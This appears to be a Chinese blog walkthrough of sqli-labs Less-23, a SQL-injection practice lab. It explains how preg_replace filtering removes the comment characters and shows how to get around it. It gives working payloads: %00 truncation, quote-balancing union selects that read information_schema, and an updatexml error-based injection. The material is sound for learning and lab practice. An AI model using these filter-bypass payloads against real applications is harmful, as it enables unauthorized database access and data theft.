Less-23 preg_replace1
Less-23:
直接跳到Less-23的原因是,Less-(11~22)均为注入点不为get方式的注入。我先把get型注入写的差不多,再回来整理关于注入点的内容。
核心语句:


查询、报错均有回显。
本题$sql及后面部分都与Less-1无异。然而,前面多了一些部分,起了过滤的作用。
要了解这些过滤,我们先要了解正则表达式。
正则表达式是一种描述字符串结果的语法规则,可以进行匹配、替换、截取等操作。
要写一个正则表达式,我们先要规定它的边界。
在本Less接触的正则表达式边界可用/text/ #text# ~text~ 三种。
preg_replace($reg,$replace,$id) 是一个正则替换函数,其中$reg必须是正则表达式。
当$reg为/text/ #text# ~text~形式时,其会将id中所有满足text的文本替换为reg
eg: $reg='/mmm/'
$replace=www''
$id='emmmm'
preg_replace(..)='ewwwm'
其他正则表达式的内容(通用原子、元字符、修饰符、正则表达函数等)我们遇到再写。
由上可知,本题中,我们的注释符--+和#均被禁用了。
面对这个问题,有多种解决方法:
1. %00截断
直接将注释符换为 %00,一切照旧就行了。至于为什么可以,我现在也不知道。它的适用范围,我也不知道。我暂且将它作为一种偷懒的方法。
eg: -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(); %00
2. 语句屏蔽
既然无法直接注释后面,那么我们只能另辟蹊径。由于我们需要闭合引号后注入命令,注释的意义主要在于干掉语句中原有的后一个单引号,即让键入 ?id=1'时 不报错。
我们可以构造一些无意义的句子来闭合。
eg:?id=1' or '0'='1
这样,$sql就成了: SELECT * FROM users WHERE id='1' or '0'='1' LIMIT 0,1 ;
注意,此处不要写 1' or '1'='1; 这样where子句永远为真,查出的永远是第一个元素。
但此时,再写id=1' order by x or '0'='1 不可用。
mysql语句定义如下:
<SELECT clause> [<FROM clause>] [<WHERE clause>] [<GROUP BY clause>] [<HAVING clause>] [<ORDER BY clause>] [<LIMIT clause>]
然而,实际执行顺序并不是简单的从左向右/从右向左。
它的执行顺序为:from -> where -> group by -> having -> order by -> select -> limit
上述写法中的order by语句实际上在where子句中,而不是一个独立的子句,没有作用。即,这种注释并没有给我们创造出写新的子句的位置。
怎么办呢?
方法1:直接使用select语句。(但是,列数得慢慢试了)
eg:?id=1' union select 1,2,3 '
这样,$sql就成了: SELECT * FROM users WHERE id='1' union select 1,2,3 '' LIMIT 0,1; 回显成功。
我们将3改为database(),依然可用;但我们再改为group_concat(table_name) from information_schema.tables where table_schema=database()时,就报错了。
想想也应该会报错;要是直接就行了,Less-(1~4)里其实我们连注释都不需要了。
一个可用的修改方式为:(select group_concat(table_name) from information_schema.tables where table_schema=database())
为什么可以?
看下上述sql语句:
错误: SELECT * FROM users WHERE id='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() '' LIMIT 0,1;
正确1: SELECT * FROM users WHERE id='1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) '' LIMIT 0,1;
正确2: SELECT * FROM users WHERE id='1' union select 1,2,database() '' LIMIT 0,1;
错误2: SELECT 1,2,3 from users '' limit 0,1;
正确3: SELECT 1,2,(select group_concat(3) from users) '' limit 0,1;
我先将其理解为:若查询语句完全没有跟随其他字句,后面加 '' 依然正确 ; 否则错误。
方法2:报错注入。
之前从?id=1' or '0'='1切换成?id=1' union select 1,2,3 ' 时,我一开始其实切换的是?id=1' union select 1,2,3 or '0'='1
但是,这样会导致3 or '0'='1 构成一个查询的列, 这个点恒回显1,反而妨碍了注入。
但这,再结合之前id=1' order by x or '0'='1的失败,给了我们启示:能不能构造一个语句,使得or不属于子句,也不属于列,而是分割两个操作呢?
这里直接给出payload:
?id=-1' and updatexml(1,concat(0x7e,(select(database()))),1) and '1'='1
修改select中的内容,即可继续注入。
(终于结束了)
(这题真长啊)
Less-23 preg_replace1的更多相关文章
- Java开发中的23种设计模式详解
[放弃了原文访问者模式的Demo,自己写了一个新使用场景的Demo,加上了自己的理解] [源码地址:https://github.com/leon66666/DesignPattern] 一.设计模式 ...
- ILJMALL project过程中遇到Fragment嵌套问题:IllegalArgumentException: Binary XML file line #23: Duplicate id
出现场景:当点击"分类"再返回"首页"时,发生error退出 BUG描述:Caused by: java.lang.IllegalArgumentExcep ...
- CSharpGL(23)用ComputeShader实现一个简单的ParticleSimulator
CSharpGL(23)用ComputeShader实现一个简单的ParticleSimulator 我还没有用过Compute Shader,所以现在把红宝书里的例子拿来了,加入CSharpGL中. ...
- ABP(现代ASP.NET样板开发框架)系列之23、ABP展现层——异常处理
点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之23.ABP展现层——异常处理 ABP是“ASP.NET Boilerplate Project (ASP.NET ...
- Java开发中的23种设计模式详解(转)
设计模式(Design Patterns) ——可复用面向对象软件的基础 设计模式(Design pattern)是一套被反复使用.多数人知晓的.经过分类编目的.代码设计经验的总结.使用设计模式是为了 ...
- C#得到某月最后一天晚上23:59:59和某月第一天00:00:00
项目需求: 某学校订单截止操作时间的上一个月最后一天晚上23:59:59 为止所有支付的订单统计: 代码: /// <summary> /// 通过学校和截止时间得到订单 /// < ...
- C#开发微信门户及应用(23)-微信小店商品管理接口的封装和测试
在上篇<C#开发微信门户及应用(22)-微信小店的开发和使用>里面介绍了一些微信小店的基础知识,以及对应的对象模型,本篇继续微信小店的主题,介绍其中API接口的封装和测试使用.微信小店的相 ...
- [转载]IIS7报500.23错误的解决方法
原文出处: 原文作者:pizibaidu 原文链接:http://pizibaidu.blog.51cto.com/1361909/1794446 背景:今天公司终端上有一个功能打开异常,报500错误 ...
- [MySQL Reference Manual] 23 Performance Schema结构
23 MySQL Performance Schema 23 MySQL Performance Schema 23.1 性能框架快速启动 23.2 性能框架配置 23.2.1 性能框架编译时配置 2 ...
- Error:failed to find Build Tools revision 23.0.0 rc3
解决,选择AS里有的版本就可以了,已有的我这就一个23.0.3,导入的项目是23.0.2 Donate:)
随机推荐
- Mysql常用sql语句(5)- as 设置别名
测试必备的Mysql常用sql语句系列 https://www.cnblogs.com/poloyy/category/1683347.html 需要注意,创建数据库和创建表的语句博文都在前面哦 整个 ...
- MongoDB 常见问题 - 解决找不到 mongo、mongod 命令的问题
问题背景 成功安装 MongoDB 后执行 Mongo.MongoD 显示找不到命令 解决方案 echo 'export PATH="/usr/local/opt/mongodb-commu ...
- vue 路由视图,router-view嵌套跳转
实现功能:制作一个登录页面,跳转到首页,首页包含菜单栏.顶部导航栏.主体,标准的后台网页格式.菜单栏点击不同菜单控制主体展示不同的组件(不同的页面). 配置router-view嵌套跳转需要准备两个主 ...
- Vue状态管理Vuex简单使用
状态管理保存在store\index.js中,简单说明如下 import Vue from 'vue' import Vuex from 'vuex' Vue.use(Vuex) export def ...
- vue-cli3 创建多页面应用项目
1.创建vue项目 cmd命令执行 vue create ruc-continuing 创建vue项目,项目名称:ruc-continuing 选择一个 preset(预置项),或自定义: 选择自 ...
- 【Azure API 管理】APIM 配置Validate-JWT策略,验证RS256非对称(公钥/私钥)加密的Token
问题描述 在APIM中配置对传入的Token进行预验证,确保传入后端被保护的API的Authorization信息正确有效,可以使用validate-jwt策略.validate-jwt 策略强制要求 ...
- POJ1804——Brainman(水题)
解题思路: 一个乱序序列的 逆序数 = 在只允许相邻两个元素交换的条件下,得到有序序列的交换次数 直接求逆序数 把S[i]和s[i+1~n]的元素逐个比较,如果s[i] > s[k] (k∈[i ...
- Django学习day14BBS项目开发1.0
每日测验 """ 1.简述auth模块功能 2.简述项目开发流程 3.简述bbs表设计 """ 内容回顾 auth模块 "&quo ...
- ESP8266- ESP01之AT固件下载及其他问题
注意: 本文基于淘宝上买的安信可原装ESP-01,文章中出现的问题在另一片ESP-01S上均未出现.由于在刷固件前没有进行完整测试,因此无法判断是固件导致的还是版本不同造成的. 问题: 1.发热严重. ...
- dedecms编辑器不能复制word格式的处理方法
在word文档中编辑一篇文章,格式段落都整理好后,粘贴到dede编辑器里面却发现,格式都无效了,可能dede有自己的打算,比如这样可以文章字体大小统一,样色统一,整体比较整洁.但是用惯了word编辑文 ...